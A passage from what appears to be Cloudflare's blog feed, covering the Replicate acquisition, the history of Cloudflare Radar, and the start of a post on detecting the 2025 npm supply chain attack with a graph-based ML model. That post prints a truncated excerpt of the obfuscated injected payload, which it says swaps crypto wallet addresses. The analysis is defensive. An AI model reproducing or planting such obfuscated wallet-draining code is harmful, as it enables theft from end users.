      </a>
    </div>
    <p>The newest FLUX.2 [dev] model is now available on Workers AI — you can get started with the model through our <a href="http://developers.cloudflare.com/workers-ai/models/flux-2-dev"><u>developer docs</u></a> or test it out on our <a href="https://multi-modal.ai.cloudflare.com/"><u>multimodal playground.</u></a></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/49KKiYwNbkrRaiDRruKCck/66cdcb3b41f8a87fd44a240e05bd851a/image2.png" />
          </figure><p></p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">5lE1GkcjJWDeQq5696TdSs</guid>
            <dc:creator>Michelle Chen</dc:creator>
            <dc:creator>David Liu</dc:creator>
        </item>
        <item>
            <title><![CDATA[Replicate is joining Cloudflare]]></title>
            <link>https://blog.cloudflare.com/replicate-joins-cloudflare/</link>
            <pubDate>Mon, 17 Nov 2025 14:00:00 GMT</pubDate>
            <description><![CDATA[ Bringing Replicate’s tools into Cloudflare will continue to make our Workers Platform the best place on the Internet to build and deploy any AI or agentic workflow.
 ]]></description>
            <content:encoded><![CDATA[ <p></p><p>We have some big news to share today: Replicate, the leading platform for running AI models, is joining Cloudflare.</p><p>We first started talking to Replicate because we shared a lot in common beyond just a passion for bright color palettes. Our mission for Cloudflare’s Workers developer platform has been to make building and deploying full-stack applications as easy as possible. Meanwhile, Replicate has been on a similar mission to make deploying AI models as easy as writing a single line of code. And we realized we could build something even better together by integrating the Replicate platform into Cloudflare directly.</p><p>We are excited to share this news and even more excited for what it will mean for customers. Bringing Replicate’s tools into Cloudflare will continue to make our Developer Platform the best place on the Internet to build and deploy any AI or agentic workflow.</p>
    <div>
      <h2>What does this mean for you? </h2>
      <a href="#what-does-this-mean-for-you">
        
      </a>
    </div>
    <p>Before we spend more time talking about the future of AI, we want to answer the questions that are top of mind for Replicate and Cloudflare users. In short: </p><p><b>For existing Replicate users:</b> Your APIs and workflows will continue to work without interruption. You will soon benefit from the added performance and reliability of Cloudflare's global network.</p><p><b>For existing Workers AI users:</b> Get ready for a massive expansion of the model catalog and the new ability to run fine-tunes and custom models directly on Workers AI.</p><p>Now – let’s get back into why we’re so excited about our joint future.</p>
    <div>
      <h2>The AI Revolution was not televised, but it started with open source</h2>
      <a href="#the-ai-revolution-was-not-televised-but-it-started-with-open-source">
        
      </a>
    </div>
    <p>Before AI was AI, and the subject of <i>every</i> conversation, it was known for decades as “machine learning”. It was a specialized, almost academic field. Progress was steady but siloed, with breakthroughs happening inside a few large, well-funded research labs. The models were monolithic, the data was proprietary, and the tools were inaccessible to most developers. Everything changed when the culture of open-source collaboration — the same force that built the modern Internet — collided with machine learning, as researchers and companies began publishing not just their papers, but their model weights and code.</p><p>This ignited an incredible explosion of innovation. The pace of change in just the past few years has been staggering; what was state-of-the-art 18 months ago (or sometimes it feels like just days ago) is now the baseline. This acceleration is most visible in generative AI. </p><p>We went from uncanny, blurry curiosities to photorealistic image generation in what felt like the blink of an eye. Open source models like Stable Diffusion unlocked immediate creativity for developers, and that was just the beginning. If you take a look at Replicate’s model catalog today, you’ll see thousands of image models of almost every flavor, each iterating on the previous. </p><p>This happened not just with image models, but video, audio, language models and more…. </p><p>But this incredible, community-driven progress creates a massive practical challenge: How do you actually <i>run</i> these models? Every new model has different dependencies, requires specific GPU hardware (and enough of it), and needs a complex serving infrastructure to scale. Developers found themselves spending more time fighting with CUDA drivers and requirements.txt files than actually building their applications.</p><p>This is exactly the problem Replicate solved. They built a platform that abstracts away all that complexity (using their open-source tool <a href="https://github.com/replicate/cog"><u>Cog</u></a> to package models into standard, reproducible containers), letting any developer or data scientist run even the most complex open-source models with a simple API call. </p><p>Today, Replicate’s catalog spans more than 50,000 open-source models and fine-tuned models. While open source unlocked so many possibilities, Replicate’s toolset goes beyond that to make it possible for developers to access any models they need in one place. Period. With their marketplace, they also offer seamless access to leading proprietary models like GPT-5 and Claude Sonnet, all through the same unified API.</p><p>What’s worth noting is that Replicate didn't just build an inference service; they built a <b>community</b>. So much innovation happens through being inspired by what others are doing, iterating on it, and making it better. Replicate has become the definitive hub for developers to discover, share, fine-tune, and experiment with the latest models in a public playground. </p>
    <div>
      <h2>Stronger together: the AI catalog meets the AI cloud</h2>
      <a href="#stronger-together-the-ai-catalog-meets-the-ai-cloud">
        
      </a>
    </div>
    <p>Coming back to the Workers Platform mission: Our goal all along has been to enable developers to build full-stack applications without having to burden themselves with infrastructure. And while that hasn’t changed, AI has changed the requirements of applications.</p><p>The types of applications developers are building are changing — three years ago, no one was building agents or creating AI-generated launch videos. Today they are. As a result, what they need and expect from the cloud, or the <b>AI cloud</b>, has changed too.</p><p>To meet the needs of developers, Cloudflare has been building the foundational pillars of the AI Cloud, designed to run inference at the edge, close to users. This isn't just one product, but an entire stack:</p><ul><li><p><b>Workers AI:</b> Serverless GPU inference on our global network.</p></li><li><p><b>AI Gateway:</b> A control plane for caching, rate-limiting, and observing any AI API.</p></li><li><p><b>Data Stack:</b> Including Vectorize (our vector database) and R2 (for model and data storage).</p></li><li><p><b>Orchestration:</b> Tools like AI Search (formerly Autorag), Agents, and Workflows to build complex, multi-step applications.</p></li><li><p><b>Foundation:</b> All built on our core developer platform of Workers, Durable Objects, and the rest of our stack.</p></li></ul><p>As we’ve been helping developers scale up their applications, Replicate has been on a similar mission — to make deploying AI models as easy as deploying code. This is where it all comes together. Replicate brings one of the industry's largest and most vibrant <b>model catalog and developer community</b>. Cloudflare brings an incredibly performant <b>global network and serverless inference platform</b>. Together, we can deliver the best of both worlds: the most comprehensive selection of models, runnable on a fast, reliable, and affordable inference platform.</p>
    <div>
      <h2>Our shared vision</h2>
      <a href="#our-shared-vision">
        
      </a>
    </div>
    
    <div>
      <h3>For the community: the hub for AI exploration</h3>
      <a href="#for-the-community-the-hub-for-ai-exploration">
        
      </a>
    </div>
    <p>The ability to share models, publish fine-tunes, collect stars, and experiment in the playground is the heart of the Replicate community. We will continue to invest in and grow this as the premier destination for AI discovery and experimentation, now <b>supercharged by Cloudflare's global network</b> for an even faster, more responsive experience for everyone.</p>
    <div>
      <h3>The future of inference: one platform, all models</h3>
      <a href="#the-future-of-inference-one-platform-all-models">
        
      </a>
    </div>
    <p>Our vision is to bring the best of both platforms together. We will bring the entire Replicate catalog — all 50,000+ models and fine-tunes — to Workers AI. This gives you the ultimate choice: run models in Replicate's flexible environment or on Cloudflare's serverless platform, all from one place.</p><p>But we're not just expanding the catalog. We are thrilled to announce that we will be bringing fine-tuning capabilities to Workers AI, powered by Replicate's deep expertise. We are also making Workers AI more flexible than ever. Soon, you'll be able to <b>bring your own custom models</b> to our network. We'll leverage Replicate's expertise with <b>Cog</b> to make this process seamless, reproducible, and easy.</p>
    <div>
      <h3>The AI Cloud: more than just inference</h3>
      <a href="#the-ai-cloud-more-than-just-inference">
        
      </a>
    </div>
    <p>Running a model is just one piece of the puzzle. The real magic happens when you connect AI to your entire application. Imagine what you can build when Replicate's massive catalog is deeply integrated with the entire Cloudflare developer platform: run a model and store the results directly in <b>R2</b> or <b>Vectorize</b>; trigger inference from a <b>Worker</b> or <b>Queue</b>; use <b>Durable Objects</b> to manage state for an AI agent; or build real-time generative UI with <b>WebRTC</b> and WebSockets.</p><p>To manage all this, we will integrate our unified inference platform deeply with the <b>AI Gateway</b>, giving you a single control plane for <a href="https://www.cloudflare.com/learning/performance/what-is-observability/">observability</a>, prompt management, A/B testing, and cost analytics across <i>all</i> your models, whether they're running on Cloudflare, Replicate, or any other provider.</p>
    <div>
      <h2>Welcome to the team!</h2>
      <a href="#welcome-to-the-team">
        
      </a>
    </div>
    <p>We are incredibly excited to welcome the Replicate team to Cloudflare. Their passion for the developer community and their expertise in the AI ecosystem are unmatched. We can't wait to build the future of AI together.</p> ]]></content:encoded>
            <category><![CDATA[Acquisitions]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[AI]]></category>
            <guid isPermaLink="false">5wrXGTWWVegEdBSpstdIhb</guid>
            <dc:creator>Rita Kozlov</dc:creator>
            <dc:creator>Ben Firshman</dc:creator>
        </item>
        <item>
            <title><![CDATA[Making the Internet observable: the evolution of Cloudflare Radar]]></title>
            <link>https://blog.cloudflare.com/evolution-of-cloudflare-radar/</link>
            <pubDate>Mon, 27 Oct 2025 12:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare Radar has evolved significantly since its 2020 launch, offering deeper insights into Internet security, routing, and traffic with new tools and data that help anyone understand what's happening online. ]]></description>
            <content:encoded><![CDATA[ <p>The Internet is constantly changing in ways that are difficult to see. How do we measure its health, spot new threats, and track the adoption of new technologies? When we <a href="https://blog.cloudflare.com/introducing-cloudflare-radar/"><u>launched Cloudflare Radar in 2020</u></a>, our goal was to illuminate the Internet's patterns, helping anyone understand what was happening from a security, performance, and usage perspective, based on aggregated data from Cloudflare services. From the start, Internet measurement, transparency, and resilience has been at the core of our mission.</p><p>The launch blog post noted, “<i>There are three key components that we’re launching today: Radar </i><a href="https://blog.cloudflare.com/introducing-cloudflare-radar/#radar-internet-insights"><i><u>Internet Insights</u></i></a><i>, Radar </i><a href="https://blog.cloudflare.com/introducing-cloudflare-radar/#radar-domain-insights"><i><u>Domain Insights</u></i></a><i> and Radar </i><a href="https://blog.cloudflare.com/introducing-cloudflare-radar/#radar-ip-insights"><i><u>IP Insights</u></i></a><i>.</i>” These components have remained at the core of Radar, and they have been continuously expanded and complemented by other data sets and capabilities to support that mission. By shining a brighter light on Internet security, routing, traffic disruptions, protocol adoption, DNS, and now AI, Cloudflare Radar has become an increasingly comprehensive source of information and insights. And despite our expanding scope, we’ve focused on maintaining Radar’s “easy access” by evolving our information architecture, making our search capabilities more powerful, and building everything on top of a powerful, publicly-accessible API.</p><p>Now more than ever, Internet observability matters. New protocols and use cases compete with new security threats. Connectivity is threatened not only by errant construction equipment, but also by governments practicing targeted content blocking. Cloudflare Radar is uniquely positioned to provide actionable visibility into these trends, threats, and events with local, network, and global level insights, spanning multiple data sets. Below, we explore some highlights of Radar’s evolution over the five years since its launch, looking at how Cloudflare Radar is building one of the industry’s most comprehensive views of what is happening on the Internet.</p>
    <div>
      <h2>Making Internet security more transparent</h2>
      <a href="#making-internet-security-more-transparent">
        
      </a>
    </div>
    <p>The <a href="https://research.cloudflare.com/"><u>Cloudflare Research</u></a> team takes a practical <a href="https://research.cloudflare.com/about/approach/"><u>approach</u></a> to research, tackling projects that have the potential to make a big impact. A number of these projects have been in the security space, and for three of them, we’ve collaborated to bring associated data sets to Radar, highlighting the impact of these projects.</p><p>The 2025 <a href="https://blog.cloudflare.com/new-regional-internet-traffic-and-certificate-transparency-insights-on-radar/#introducing-certificate-transparency-insights-on-radar"><u>launch</u></a> of the <a href="https://radar.cloudflare.com/certificate-transparency"><u>Certificate Transparency (CT) section on Radar</u></a> was the culmination of several months of collaborative work to expand visibility into key metrics for the Certificate Transparency ecosystem, enabling us to deprecate the original <a href="https://blog.cloudflare.com/a-tour-through-merkle-town-cloudflares-ct-ecosystem-dashboard/"><u>Merkle Town CT dashboard</u></a>, which was launched in 2018. Digital certificates are the foundation of trust on the modern Internet, and Certificate Authorities (CAs) serve as trusted gatekeepers, issuing those certificates, with CT logs providing a public, auditable record of every certificate issued, making it possible to detect fraudulent or mis-issued certificates. The information available in the new CT section allows users to explore information about these certificates and CAs, as well as about the CT logs that capture information about every issued certificate.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7peWlbK1j0Da36jqjlD6rV/4fd7ef53247992078bbc89bd34f18fa9/image3.png" />
          </figure><p>In 2024, members of Cloudflare’s Research team collaborated with outside researchers to publish a paper titled “<a href="https://research.cloudflare.com/publications/SundaraRaman2023/"><u>Global, Passive Detection of Connection Tampering</u></a>”. Among the findings presented in the paper, it noted that globally, about 20% of all connections to Cloudflare close unexpectedly before any useful data exchange occurs. This unexpected closure is consistent with connection tampering by a third party, which may occur, for instance, when repressive governments seek to block access to websites or applications. Working with the Research team, we added visibility into <a href="https://blog.cloudflare.com/tcp-resets-timeouts/"><u>TCP resets and timeouts</u></a> to the <a href="https://radar.cloudflare.com/security/network-layer#tcp-resets-and-timeouts"><u>Network Layer Security page</u></a> on Radar. This graph, such as the example below for Turkmenistan, provides a perspective on potential connection tampering activity globally, and at a country level. Changes and trends visible in this graph can be used to corroborate reports of content blocking and other local restrictions on Internet connectivity.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/lxyCbxlW0mUHP9cU0n3Dp/a27081a3926ac4b0917fef1870197fce/image6.png" />
          </figure><p>The research team has been working on post-quantum encryption <a href="https://blog.cloudflare.com/tag/post-quantum/page/2/"><u>since 2017</u></a>, racing improvements in quantum computing to help ensure that today’s encrypted data and communications are resistant to being decrypted in the future. They have led the drive to incorporate post-quantum encryption across Cloudflare’s infrastructure and services, and in 2023 <a href="https://blog.cloudflare.com/post-quantum-crypto-should-be-free/"><u>we announced that it would be included in our delivery services</u></a>, available to everyone and free of charge, forever. However, to take full advantage, support is needed on the client side as well, so to track that, we worked together to add a <a href="https://radar.cloudflare.com/adoption-and-usage#post-quantum-encryption-adoption"><u>graph</u></a> to Radar’s <a href="https://radar.cloudflare.com/adoption-and-usage"><u>Adoption &amp; Usage</u></a> page that tracks the post-quantum encrypted share of HTTPS request traffic. <a href="https://radar.cloudflare.com/adoption-and-usage?dateStart=2024-01-01&amp;dateEnd=2024-01-28#post-quantum-encryption-adoption"><u>Starting 2024 at under 3%</u></a>, it has <a href="https://radar.cloudflare.com/adoption-and-usage?dateStart=2025-10-10&amp;dateEnd=2025-10-16#post-quantum-encryption-adoption"><u>grown to just over 47%</u></a>, thanks to major browsers and code libraries <a href="https://developers.cloudflare.com/ssl/post-quantum-cryptography/pqc-support/"><u>activating post-quantum support by default</u></a>.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3l2ceulOBO9S3Yytv7wIUr/c24b02ee132b7ced328993e2557cf765/image11.png" />
          </figure>
    <div>
      <h2>Measuring AI bot &amp; crawler activity</h2>
      <a href="#measuring-ai-bot-crawler-activity">
        
      </a>
    </div>
    <p>The rapid proliferation and growth of AI platforms since the launch of OpenAI’s ChatGPT in November 2022 has upended multiple industries. This is especially true for content creators. Over the last several decades, they generally allowed their sites to be crawled in exchange for the traffic that the search engines would send back to them — traffic that could be monetized in various ways. However, two developments have changed this dynamic. First, AI platforms began aggressively crawling these sites to vacuum up content to use for training their models (with no compensation to content creators). Second, search engines have evolved into answer engines, drastically reducing the amount of traffic they send back to sites. This has led content owners to demand <a href="https://blog.cloudflare.com/content-independence-day-no-ai-crawl-without-compensation/"><u>solutions</u></a>.</p><p>Among these solutions is providing customers with increased visibility into how frequently AI crawlers are <a href="https://www.cloudflare.com/learning/ai/how-to-prevent-web-scraping/">scraping their content</a>, and Radar has built on that to provide aggregated perspectives on this activity. Radar’s <a href="https://radar.cloudflare.com/ai-insights"><u>AI Insights page</u></a> provides graphs based on crawling traffic, including <a href="https://radar.cloudflare.com/ai-insights?industrySet=Finance#http-traffic-by-bot"><u>traffic trends by bot</u></a> and <a href="https://radar.cloudflare.com/ai-insights?industrySet=Finance#crawl-purpose"><u>traffic trends by crawl purpose</u></a>, both of which can be broken out by industry set as well. Customers can compare the traffic trends we show on the dashboard with trends across their industry.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4wNMjFo5eR2gBV78u2ITuD/833d83029224095d22fa0ad96aff9356/image1.png" />
          </figure><p>One key insight is the crawl-to-refer ratio:  a measure of how many HTML pages a crawler consumes in comparison to the number of page visits that they refer back to the crawled site. A view into these ratios by platform, and how they change over time, gives content creators insight into just how significant the reciprocal traffic imbalances are, and the impact of the ongoing transition of search engines into answer engines.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7fGlbFfPnuhaizCNZ5Wlr5/4e75c7fbb317428bffa5ea915d2ca428/image5.png" />
          </figure><p>Over the three decades, the humble <a href="https://www.robotstxt.org/robotstxt.html"><u>robots.txt file</u></a> has served as something of a gatekeeper for websites, letting crawlers know <a href="https://www.cloudflare.com/learning/ai/how-to-block-ai-crawlers/">if they are allowed to access content</a> on the site, and if so, which content. Well-behaved crawlers read and parse the file, and adjust their crawling activity accordingly. Based on the robots.txt files found across Radar’s top 10,000 domains, Radar’s AI Insights page shows <a href="https://radar.cloudflare.com/ai-insights#ai-user-agents-found-in-robotstxt"><u>how many of these sites explicitly allow or disallow these AI crawlers to access content</u></a>, and how complete that access/restriction is. With the ability to filter the data by domain category, this graph can provide site owners with visibility into how their peers may be dealing with these AI crawlers.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5r1iT7cCKr1OeCx3XlsFVq/78d101224e54673cfd84e513c73f6527/image8.png" />
          </figure>
    <div>
      <h2>Improving Internet resilience with routing visibility</h2>
      <a href="#improving-internet-resilience-with-routing-visibility">
        
      </a>
    </div>
    <p><a href="https://www.cloudflare.com/learning/network-layer/what-is-routing/"><u>Routing</u></a> is the process of selecting a path across one or more networks, and in the context of the Internet, routing selects the paths for <a href="https://www.cloudflare.com/learning/ddos/glossary/internet-protocol/"><u>Internet Protocol (IP)</u></a> packets to travel from their origin to their destination. It is absolutely critical to the functioning of the Internet, but lots of things can go wrong, and when they do, they can take a whole network offline. (And depending on the network, a <a href="https://blog.cloudflare.com/how-verizon-and-a-bgp-optimizer-knocked-large-parts-of-the-internet-offline-today/"><u>larger blast radius</u></a> of sites, applications, and other service providers may be impacted.</p><p>Routing visibility provides insights into the health of a network, and its relationship to other networks. These insights can help identify or troubleshoot problems when they occur. Among the more significant things that can go wrong are route leaks and origin hijacks. <a href="https://blog.cloudflare.com/route-leak-detection-with-cloudflare-radar/#about-bgp-and-route-leaks"><u>Route leaks</u></a> occur when a routing announcement propagates beyond its intended scope — that is, when the announcement reaches networks that it shouldn’t. An <a href="https://blog.cloudflare.com/bgp-hijack-detection/#what-is-bgp-origin-hijacking"><u>origin hijack</u></a> occurs when an attacker creates fake announcements for a targeted prefix, falsely identifying an <a href="https://developers.cloudflare.com/radar/glossary/#autonomous-systems"><u>autonomous systems (AS)</u></a> under their control as the origin of the prefix — in other words, the attacker claims that their network is responsible for a given set of IP addresses, which would cause traffic to those addresses to be routed to them.</p><p>In 2022 and 2023 respectively, we added <a href="https://blog.cloudflare.com/route-leak-detection-with-cloudflare-radar/"><u>route leak</u></a> and <a href="https://blog.cloudflare.com/bgp-hijack-detection/"><u>origin hijack</u></a> detection to <a href="https://radar.cloudflare.com/routing#routing-anomalies"><u>Radar</u></a>, providing network operators and other interested groups (such as researchers) with information to help identify which networks may be party to such events, whether as a leaker/hijacker, or a victim. And perhaps more importantly, in 2023 we also <a href="https://blog.cloudflare.com/traffic-anomalies-notifications-radar/#notifications-overview"><u>launched notifications</u></a> for route leaks and origin hijacks, automatically notifying subscribers via email or webhook when such an event is detected, enabling them to take immediate action.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/31Q0SVrOitlfKiw4jkT0Po/298ad31e36807c3ebc89aa1adfb149f8/image7.png" />
          </figure><p>In 2025, we further improved this visibility by adding two additional capabilities. The first was <a href="https://blog.cloudflare.com/bringing-connections-into-view-real-time-bgp-route-visibility-on-cloudflare/"><u>real-time BGP route visibility</u></a>, which illustrates how a given network prefix is connected to other networks — what is the route that packets take to get from that set of IP addresses to the large “tier 1” network providers? Network administrators can use this information when facing network outages, implementing new deployments, or investigating route leaks.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/69wWKFXVxN91YMHydKj8P9/858e3d8d0b90fbf737bb3b0b195b4885/image4.png" />
          </figure><p>An <a href="https://www.apnic.net/manage-ip/using-whois/guide/as-set/"><u>AS-SET</u></a> is a grouping of related networks, historically used for multiple purposes such as grouping together a list of downstream customers of a particular network provider. Our recently announced <a href="https://blog.cloudflare.com/monitoring-as-sets-and-why-they-matter/"><u>AS-SET monitoring</u></a> enables network operators to monitor valid and invalid AS-SET memberships for their networks, which can help prevent misuse and issues like route leaks.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5sydRT2tCT7VDJ84S87z7t/1386688e7fb96b477dcf56fbaae090ca/image10.png" />
          </figure>
    <div>
      <h2>Not just pretty pictures</h2>
      <a href="#not-just-pretty-pictures">
        
      </a>
    </div>
    <p>While Radar has been historically focused on providing clear, informative visualizations, we have also launched capabilities that enable users to get at the underlying data more directly, enabling them to use it in a more programmatic fashion. The most important one is the <a href="https://developers.cloudflare.com/api/resources/radar/"><u>Radar API</u></a>, <a href="https://blog.cloudflare.com/radar2/#sharing-insights"><u>launched in 2022</u></a>. Requiring just an access token, users can get access to all the data shown on Radar, as well as some more advanced filters that provide more specific data, enabling them to incorporate Radar data into their own tools, websites, and applications. The example below shows a simple API call that returns the global distribution of human and bot traffic observed over the last seven days.</p>
            <pre><code>curl -X 'GET' \
'https://api.cloudflare.com/client/v4/radar/http/summary/bot_class?name=main&amp;dateRange=1d' \
-H 'accept: application/json' \
-H 'Authorization: Bearer $TOKEN'</code></pre>
            
            <pre><code>{
  "success": true,
  "errors": [],
  "result": {
    "main": {
      "human": "72.520636",
      "bot": "27.479364"
    },
    "meta": {
      "dateRange": [
        {
          "startTime": "2025-10-19T19:00:00Z",
          "endTime": "2025-10-20T19:00:00Z"
        }
      ],
      "confidenceInfo": {
        "level": null,
        "annotations": []
      },
      "normalization": "PERCENTAGE",
      "lastUpdated": "2025-10-20T19:45:00Z",
      "units": [
        {
          "name": "*",
          "value": "requests"
        }
      ]
    }
  }
}</code></pre>
            <p>The <a href="https://www.cloudflare.com/learning/ai/what-is-model-context-protocol-mcp/"><u>Model Context Protocol</u></a> is a standard way to make information available to <a href="https://www.cloudflare.com/learning/ai/what-is-large-language-model/"><u>large language models (LLMs)</u></a>. Somewhat similar to the way an application programming interface (API) works, MCP offers a documented, standardized way for a computer program to integrate services from an external source. It essentially allows <a href="https://www.cloudflare.com/learning/ai/what-is-artificial-intelligence/"><u>AI</u></a> programs to exceed their training, enabling them to incorporate new sources of information into their decision-making and content generation, and helps them connect to external tools. The <a href="https://github.com/cloudflare/mcp-server-cloudflare/tree/main/apps/radar#cloudflare-radar-mcp-server-"><u>Radar MCP server</u></a> allows MCP clients to gain access to Radar data and tools, enabling exploration using natural language queries.</p><p>Radar’s <a href="https://radar.cloudflare.com/scan"><u>URL Scanner</u></a> has proven to be one of its most popular tools, <a href="https://blog.cloudflare.com/building-urlscanner/"><u>scanning millions of sites</u></a> since launching in 2023. It allows users to safely determine whether a site may contain malicious content, as well as providing information on technologies used and insights into the site’s headers, cookies, and links. In addition to being available on Radar, it is also accessible through the API and MCP server.</p><p>Finally, Radar’s user interface has seen a number of improvements over the last several years, in service of improved usability and a better user experience. As new data sets and capabilities are launched, they are added to the search bar, allowing users to search not only for countries and ASNs, but also IP address prefixes, certificate authorities, bot names, IP addresses, and more. Initially launching with just a few default date ranges (such as last 24 hours, last 7 days, etc.), we’ve expanded the number of default options, as well as enabling the user to select custom date ranges of up to one year in length. And because the Internet is global, Radar should be too. In 2024, we <a href="https://blog.cloudflare.com/cloudflare-radar-localization-journey/"><u>launched internationalized versions of Radar</u></a>, marking availability of the site in 14 languages/dialects, including downloaded and embedded content.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5zVcB5Wy98ekCJY0wAsx8e/77857f7fe3519a508c3db50a19432e08/image9.png" />
          </figure><p>This is a sampling of the updates and enhancements that we have made to Radar over the last five years in support of Internet measurement, transparency, and resilience. These individual data sets and tools combine to provide one of the most comprehensive views of the Internet available. And we’re not close to being done. We’ll continue to bring additional visibility to the unseen ways that the Internet is changing by adding more tools, data sets, and visualizations, to help users answer more questions in areas including AI, performance, adoption and usage, and security.</p><p>Visit <a href="http://radar.cloudflare.com"><u>radar.cloudflare.com</u></a> to explore all the great data sets, capabilities, and tools for yourself, and to use the Radar <a href="https://developers.cloudflare.com/api/resources/radar/"><u>API</u></a> or <a href="https://github.com/cloudflare/mcp-server-cloudflare/tree/main/apps/radar#cloudflare-radar-mcp-server-"><u>MCP server</u></a> to incorporate Radar data into your own tools, sites, and applications. Keep an eye on the <a href="https://developers.cloudflare.com/changelog/?product=radar"><u>Radar changelog feed</u></a>, <a href="https://developers.cloudflare.com/radar/release-notes/"><u>Radar release notes</u></a>, and the <a href="https://blog.cloudflare.com/tag/cloudflare-radar/"><u>Cloudflare blog</u></a> for news about the latest changes and launches, and don’t hesitate to <a><u>reach out to us</u></a> with feedback, suggestions, and feature requests.</p> ]]></content:encoded>
            <category><![CDATA[Research]]></category>
            <category><![CDATA[Radar]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Routing]]></category>
            <category><![CDATA[API]]></category>
            <guid isPermaLink="false">4hyomcz7ZJG76L799PaqhJ</guid>
            <dc:creator>David Belson</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare’s client-side security made the npm supply chain attack a non-event]]></title>
            <link>https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/</link>
            <pubDate>Fri, 24 Oct 2025 17:10:43 GMT</pubDate>
            <description><![CDATA[ A recent npm supply chain attack compromised 18 popular packages. This post explains how Cloudflare’s graph-based machine learning model, which analyzes 3.5 billion scripts daily, was built to detect and block exactly this kind of threat automatically. ]]></description>
            <content:encoded><![CDATA[ <p>In early September 2025, attackers used a phishing email to compromise one or more trusted maintainer accounts on npm. They used this to publish malicious releases of 18 widely used npm packages (for example chalk, debug, ansi-styles) that account for more than <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>2 billion downloads per week</u></a>. Websites and applications that used these compromised packages were vulnerable to hackers stealing crypto assets (“crypto stealing” or “wallet draining”) from end users. In addition, compromised packages could also modify other packages owned by the same maintainers (using stolen npm tokens) and included code to <a href="https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"><u>steal developer tokens for CI/CD pipelines and cloud accounts</u></a>.</p><p>As it relates to end users of your applications, the good news is that Cloudflare<a href="https://www.cloudflare.com/application-services/products/page-shield/"><u> Page Shield, our client-side security offering</u></a> will detect compromised JavaScript libraries and prevent crypto-stealing. More importantly, given the AI powering Cloudflare’s detection solutions, customers are protected from similar attacks in the future, as we explain below.</p>
            <pre><code>export default {
 aliceblue: [240, 248, 255],
 …
 yellow: [255, 255, 0],
 yellowgreen: [154, 205, 50]
}


const _0x112fa8=_0x180f;(function(_0x13c8b9,_0x35f660){const _0x15b386=_0x180f,_0x66ea25=_0x13c8b9();while(!![]){try{const _0x2cc99e=parseInt(_0x15b386(0x46c))/(-0x1caa+0x61f*0x1+-0x9c*-0x25)*(parseInt(_0x15b386(0x132))/(-0x1d6b+-0x69e+0x240b))+-parseInt(_0x15b386(0x6a6))/(0x1*-0x26e1+-0x11a1*-0x2+-0x5d*-0xa)*(-parseInt(_0x15b386(0x4d5))/(0x3b2+-0xaa*0xf+-0x3*-0x218))+-parseInt(_0x15b386(0x1e8))/(0xfe+0x16f2+-0x17eb)+-parseInt(_0x15b386(0x707))/(-0x23f8+-0x2*0x70e+-0x48e*-0xb)*(parseInt(_0x15b386(0x3f3))/(-0x6a1+0x3f5+0x2b3))+-parseInt(_0x15b386(0x435))/(0xeb5+0x3b1+-0x125e)*(parseInt(_0x15b386(0x56e))/(0x18*0x118+-0x17ee+-0x249))+parseInt(_0x15b386(0x785))/(-0xfbd+0xd5d*-0x1+0x1d24)+-parseInt(_0x15b386(0x654))/(-0x196d*0x1+-0x605+0xa7f*0x3)*(-parseInt(_0x15b386(0x3ee))/(0x282*0xe+0x760*0x3+-0x3930));if(_0x2cc99e===_0x35f660)break;else _0x66ea25['push'](_0x66ea25['shift']());}catch(_0x205af0){_0x66 …
</code></pre>
            <p><sub><i>Excerpt from the injected malicious payload, along with the rest of the innocuous normal code.</i></sub><sub> </sub><sub><i>Among other things, the payload replaces legitimate crypto addresses with attacker’s addresses (for multiple currencies, including bitcoin, ethereum, solana).</i></sub></p>
    <div>
      <h2>Finding needles in a 3.5 billion script haystack</h2>
      <a href="#finding-needles-in-a-3-5-billion-script-haystack">
        
      </a>
    </div>
    <p>Everyday, Cloudflare Page Shield assesses 3.5 billion scripts per day or 40,000 scripts per second. Of these, less than 0.3% are malicious, based on our machine learning (ML)-based malicious script detection. As explained in a prior <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/#ai-inference-at-scale"><u>blog post</u></a>, we preprocess JavaScript code into an <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree"><u>Abstract Syntax Tree</u></a> to train a <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> that classifies a given JavaScript file as either malicious or benign. </p><p>The intuition behind using a graph-based model is to use both the structure (e.g. function calling, assertions) and code text to learn hacker patterns. For example, in the npm compromise, the <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>malicious code</u></a> injected in compromised packages uses code obfuscation and also modifies code entry points for crypto wallet interfaces, such as Ethereum’s window.ethereum, to swap payment destinations to accounts in the attacker’s control. Crucially, rather than engineering such behaviors as features, the model learns to distinguish between good and bad code purely from structure and syntax. As a result, it is resilient to techniques used not just in the npm compromise but also future compromise techniques. </p><p>Our ML model outputs the probability that a script is malicious which is then transformed into a score ranging from 1 to 99, with low scores indicating likely malicious and high scores indicating benign scripts. Importantly, like many Cloudflare ML models, inferencing happens in under 0.3 seconds. </p>
    <div>
      <h2>Model Evaluation</h2>
